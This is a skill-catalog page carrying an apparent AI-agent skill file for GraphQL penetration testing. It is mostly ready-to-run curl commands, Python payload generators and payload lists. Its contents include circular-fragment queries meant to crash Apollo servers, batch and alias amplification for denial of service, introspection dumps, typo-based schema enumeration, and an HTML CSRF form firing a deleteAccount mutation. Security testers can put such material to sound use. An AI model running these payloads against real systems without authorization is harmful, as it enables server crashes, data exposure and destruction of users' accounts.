
Graphql Pentest
- 1 installs
- 10 repo stars
- Updated August 3, 2026
- dreadnode/capabilities
Test GraphQL endpoints for discovery, batching and alias DoS, circular-fragment crashes, introspection leaks, and content-type CSRF, with a capability matrix.
About
Runs systematic GraphQL security testing from endpoint discovery through backend fingerprinting, resource-abuse DoS, introspection mining, and CSRF. A developer uses it when pentesting a target that exposes GraphQL endpoints.
- Circular-fragment DoS (CWE-674) fingerprints Apollo vs graphql-java
- Capability matrix covers batching, aliases, deep nesting, and rate limiting
Graphql Pentest by the numbers
- 1 all-time installs (skills.sh)
- Ranked #1,835 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 4, 2026 (Skillselion catalog sync)
npx skills add https://github.com/dreadnode/capabilities --skill graphql-pentestAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 1 |
|---|---|
| repo stars | ★ 10 |
| Last updated | August 3, 2026 |
| Repository | dreadnode/capabilities ↗ |
What it does
Test GraphQL endpoints for discovery, batching and alias DoS, circular-fragment crashes, introspection leaks, and content-type CSRF, with a capability matrix.
Files
GraphQL Pentesting
Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse.
When to Use
- JS source contains
fetch/axios/gqlcalls to/graphqlpaths - Proxy sitemap shows
application/jsonPOST to GraphQL-shaped endpoints - Static analysis matches flag GraphQL operations, mutations, or schema fragments
- Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry)
- Error responses contain
extensions.code,GRAPHQL_VALIDATION_FAILED, orPersistedQueryNotFound
Base Request
All GraphQL requests use this template (abbreviated as GQL in examples below):
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json"Phase 1: Endpoint Discovery
Common Paths
Probe these paths with POST {"query":"{__typename}"} and Content-Type: application/json:
/graphql /api/graphql /v1/graphql
/gql /api/gql /v2/graphql
/query /api/query /graphiql
/g/api/graphql /g/api/*/graphql /graphql/console
/playground /altair /voyager
/graphql/schema.json /graphql/schema.graphqlFor microservice architectures, enumerate service-specific paths:
/api/<service>/graphql (e.g., /api/comments-server/graphql)
/g/api/<service>/graphql (gateway prefix)
/<service>/graphql (direct service routing)Source-driven discovery: Extract GraphQL paths from JS bundles. Search for fetch(", axios.post(", gql\, useQuery, useMutation, createHttpLink, ApolloClient, graphql-tag` in static analysis matches or source maps.
Validation
For each discovered endpoint, send:
GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}'200 {"data":{"__typename":"Query"}}= active GraphQL endpoint401/403= active but requires auth400 "Must provide query string"= active (different framework)404/405= not routed
Phase 2: Backend Fingerprinting
Identify the backend before testing — it determines which attacks apply. Full differential table in references/fingerprints.md.
Key differential: Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector.
# Fingerprint via circular fragment (most reliable)
GQL POST "https://TARGET/graphql" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'500 Internal Server Error= Apollo Server (vulnerable to CWE-674)200+FragmentCycle not allowed= graphql-java (safe)200+Cannot spread fragment= Yoga/validated
Phase 3: Capability Matrix
Test every discovered endpoint for each capability. Build a matrix.
| Test | Payload | Vulnerable if |
|---|---|---|
| Batching | [{"query":"{__typename}"},{"query":"{__typename}"}] | Both execute (two results returned) |
| Batch limit | Increment array size until rejection | Find the ceiling (e.g., 5, 30, unlimited) |
| Aliases | {"query":"{a1:__typename a2:__typename ... aN:__typename}"} | Returns N results; find the ceiling |
| Introspection | {"query":"{__schema{types{name}}}"} | Returns type list |
| Partial introspection | {"query":"{__schema{queryType{name}}}"} | Top-level works but nested fields stripped |
| Circular fragments | {"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"} | HTTP 500 |
| Deep nesting | Recursive { field { field { field ... } } } at depth 50+ | No depth limit rejection |
| Directive overload | {"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"} | Accepted without limit |
| GET method | GET /graphql?query={__typename} | Executes (enables CSRF without preflight) |
application/graphql CT | Body: {__typename} with Content-Type: application/graphql | Executes (CSRF vector: no JSON = no preflight) |
| APQ | {"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}} | PERSISTED_QUERY_NOT_FOUND (APQ enabled) |
| WebSocket | Upgrade: websocket on graphql path | Subscription endpoint active |
| Rate limiting | 50 requests in 5s | No 429 responses |
Matrix Template
Record results per endpoint:
| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] |Phase 4: Resource Abuse (DoS)
4A: Batching Amplification
If batching is enabled, multiply expensive operations:
# Generate batched payload (N copies of expensive query)
python3 -c "
import json
q = {'query': '{session { id email name }}'} # expensive resolver
print(json.dumps([q]*30))
" > /tmp/batch_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/batch_payload.jsonProof methodology: Compare baseline (single query) vs batched response time. Document the multiplier.
- Baseline:
{session{id}}= 150ms - Batched 30x: 30 copies = 4500ms (30x amplification)
4B: Alias Amplification
If aliases are unlimited or high-limit, multiply within a single query:
# Generate alias payload
python3 -c "
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
import json
print(json.dumps({'query': '{' + aliases + '}'}))
" > /tmp/alias_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/alias_payload.jsonCombined vector: If both batching and aliases work, multiply: batch_limit x alias_limit = total_ops. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request.
4C: Circular Fragment DoS (CWE-674)
Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip NoFragmentCycles validation.
# 2-way cycle (minimal)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'Escalation variants:
2-way: fragment A on Query{...B} fragment B on Query{...A} query{...A}
3-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
5-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}If batching is also enabled, batch N circular fragment queries for N stack overflows per request:
python3 -c "
import json
q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'}
print(json.dumps([q]*30))
" > /tmp/batch_circ_payload.jsonImpact evidence:
500 Internal Server Error= unhandled exception (server crash)"Maximum call stack size exceeded"in response = Node.js stack overflow (process kill)- Response body contains
RangeError= confirmed CWE-674
4D: Deep Nesting
For targets with recursive type relationships (e.g., User.friends returns [User]):
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}'Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever).
Phase 5: Information Disclosure
5A: Introspection Mining
If introspection is enabled (full or partial), dump the schema:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \
| python3 -m json.tool > /tmp/schema.jsonWhat to extract:
- Mutation names (state-changing operations:
deleteUser,updateRole,createPayment) - Types with PII fields (
email,phone,ssn,password,token) - Resolver arguments that accept IDs (IDOR candidates)
- Subscription types (real-time data exfil)
- Deprecated fields (may have weaker auth)
5B: Field Suggestion Exploitation
When introspection is disabled, submit typos and read error suggestions:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{usre{id}}"}'
# Response: "Did you mean 'user'?" -> schema enumeration via typosAutomate with a wordlist of common field/type names.
5C: Configuration Endpoints
Check for adjacent configuration endpoints near GraphQL paths:
/graphql/env /graphql/health /graphql/metrics
/api/graphql/env /api/graphql/config /api/graphql/debug
/<service>/env /<service>/health /<service>/configThese can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology.
Phase 6: Auth and Access Control
6A: Content-Type CSRF
If an endpoint accepts application/graphql or GET queries, CSRF is possible without preflight:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/graphql" \
-d '{deleteAccount{success}}'If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form:
<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
<input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
<input type="submit" value="Click me" />
</form>6B: Unauthenticated Access Probing
Test every endpoint without auth tokens:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'200with data = unauthenticated access (test mutations next)401/403= auth required (expected)
6C: Persisted Query Hash Enumeration
If APQ is enabled (PERSISTED_QUERY_NOT_FOUND), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for sha256Hash followed by 64 hex chars.
Proof Methodology
Timing-Based Evidence
For all DoS vectors, the proof is the response time differential:
# Step 1: Baseline (3 samples)
for i in 1 2 3; do
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
done
# Step 2: Amplified (single request)
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d @/tmp/amplified_payload.json
# Step 3: Document multiplier
# Baseline avg: 0.15s, Amplified: 6.2s = 41x amplificationStack Overflow Evidence
For circular fragment DoS, capture the error response body showing RangeError or Maximum call stack size exceeded. The 500 alone is the finding; the stack trace is bonus evidence.
Chain With
- auth-matrix-testing — after mapping mutations via introspection, test per-resolver authorization
- race-condition-single-packet — batch + alias amplification as race condition trigger mechanism
- orm-filter-data-leak — GraphQL filter/search arguments often map to ORM queries with traversable relationships
- saas-provider-url-ssrf — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks
- blind-ssrf-chains — GraphQL connector/datasource mutations as blind SSRF entry points
- h2-waf-bypass — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing
- cspt-xss — SPA fetch paths derived from URL params that hit GraphQL endpoints
Rules
- Build the matrix first. Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets.
- Fingerprint the backend. Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java.
- Timing proof is king. For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first.
- Circular fragments are not batching. They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint.
- Check batch + alias combined. The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request.
- application/graphql is a CSRF vector. If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this.
- Introspection feeds everything. Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing.
Reference
GraphQL Backend Fingerprint Reference
Error Shape Differentials
| Signal | Apollo Server (Node.js) | graphql-java | Hasura | Yoga/Envelop |
|---|---|---|---|---|
| Error shape | extensions.code + extensions.stacktrace | extensions empty {} | extensions.code + extensions.path | extensions.code (Yoga-specific) |
| Introspection disabled msg | INTROSPECTION_DISABLED | FieldUndefined on sub-fields | x-hasura-admin-secret required | Custom message |
| Batch format | JSON array [{q1},{q2}] | Not supported (parse error) | JSON array | JSON array |
| Batch rejection | BAD_REQUEST or silent | Unparseable request | Rate-limited | Configurable |
| Circular fragments | 500 crash (unvalidated) | Validated (FragmentCycle not allowed) | Validated | Depends on config |
| APQ | PERSISTED_QUERY_NOT_FOUND | Not standard | Allowed queries list | Plugin-dependent |
Quick Fingerprint Commands
# Circular fragment test (most reliable differential)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
# 500 = Apollo (vulnerable CWE-674) | 200 + FragmentCycle error = graphql-java (safe)
# Batch test
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"}]'
# Two results = batching enabled | parse error = graphql-java | BAD_REQUEST = Apollo disabled
# APQ test
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}'
# PERSISTED_QUERY_NOT_FOUND = APQ enabled (Apollo) | error = not supportedPartial Introspection Pattern (graphql-java)
graphql-java may accept __schema top-level but strip sub-field access:
# Works (top-level)
{"query":"{__schema{queryType{name}}}"} # 200 + data
# Blocked (nested)
{"query":"{__schema{types{name fields{name}}}}"} # FieldUndefined errors on sub-fieldsThis reveals type names but not full field definitions. Use type names + field suggestions for enumeration.
GraphQL Endpoint Capability Matrix Template
Per-Endpoint Matrix
Copy and fill for each discovered endpoint:
| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [DISABLED/limit N] | [limit N/UNLIMITED] | [full/partial/off] | [500/safe] | [limit N/none] | [y/n] | [y/n] | [y/n] |Test Payloads per Column
Batching
[{"query":"{__typename}"},{"query":"{__typename}"}]Increment array size to find limit. Record: DISABLED, limit N, or UNLIMITED.
Aliases
{"query":"{a1:__typename a2:__typename a3:__typename a4:__typename a5:__typename}"}Start at 10, try 100, 500, 1000. Record ceiling or UNLIMITED.
Introspection
{"query":"{__schema{types{name}}}"}Full = all fields returned. Partial = top-level only. Off = error/disabled.
Circular Fragments
{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}500 = vulnerable (CWE-674). Validation error = safe.
Depth
{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}Requires recursive type. Test at 10, 20, 50, 100. Record limit or "none."
GET Method
GET /graphql?query={__typename}200 with data = CSRF possible (no preflight).
Content-Type Differential
curl -X POST "https://TARGET/graphql" -H "Content-Type: application/graphql" -d '{__typename}'200 with data = CSRF vector (non-JSON = no CORS preflight).
Rate Limiting
Send 50 requests in 5 seconds. Any 429 responses = rate limited.
Full Introspection Query
{"query":"{ __schema { queryType { name } mutationType { name } subscriptionType { name } types { name kind description fields(includeDeprecated: true) { name description args { name description type { name kind ofType { name kind ofType { name kind } } } } type { name kind ofType { name kind ofType { name kind } } } isDeprecated deprecationReason } inputFields { name description type { name kind ofType { name kind } } } interfaces { name } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { name } } directives { name description locations args { name description type { name kind ofType { name kind } } } } } }"}GraphQL Attack Payloads
Batching Amplification
# Generate batched payload (N copies of expensive query)
import json
q = {'query': '{session { id email name }}'} # replace with target's expensive resolver
print(json.dumps([q]*30)) # adjust batch count to target's limitAlias Amplification
# Generate alias payload (N aliases of expensive resolver)
import json
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
print(json.dumps({'query': '{' + aliases + '}'}))Combined Batch + Alias
# batch_limit x alias_count = total ops
import json
aliases = ' '.join([f'a{i}:__typename' for i in range(1000)])
q = {'query': '{' + aliases + '}'}
print(json.dumps([q]*5)) # 5 batches x 1000 aliases = 5000 opsCircular Fragment Variants
# 2-way (minimal)
fragment A on Query{...B} fragment B on Query{...A} query{...A}
# 3-way
fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
# 5-way
fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}
# Batched circular (30x crashes per request)
[{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}, ... x30]Content-Type CSRF PoC
<!-- CSRF via application/graphql (no JSON = no CORS preflight) -->
<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
<input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
<input type="submit" value="Click me" />
</form>Field Suggestion Enumeration Wordlist
Common GraphQL field/type names for typo-based enumeration when introspection is disabled:
usre, accout, paymen, profle, settngs, passwrd, tokn, sessin, organzation
admn, membr, invte, webhok, notifcation, subcription, ordr, prodct, transactonSubmit each as {"query":"{<typo>{id}}"} and collect "Did you mean..." suggestions.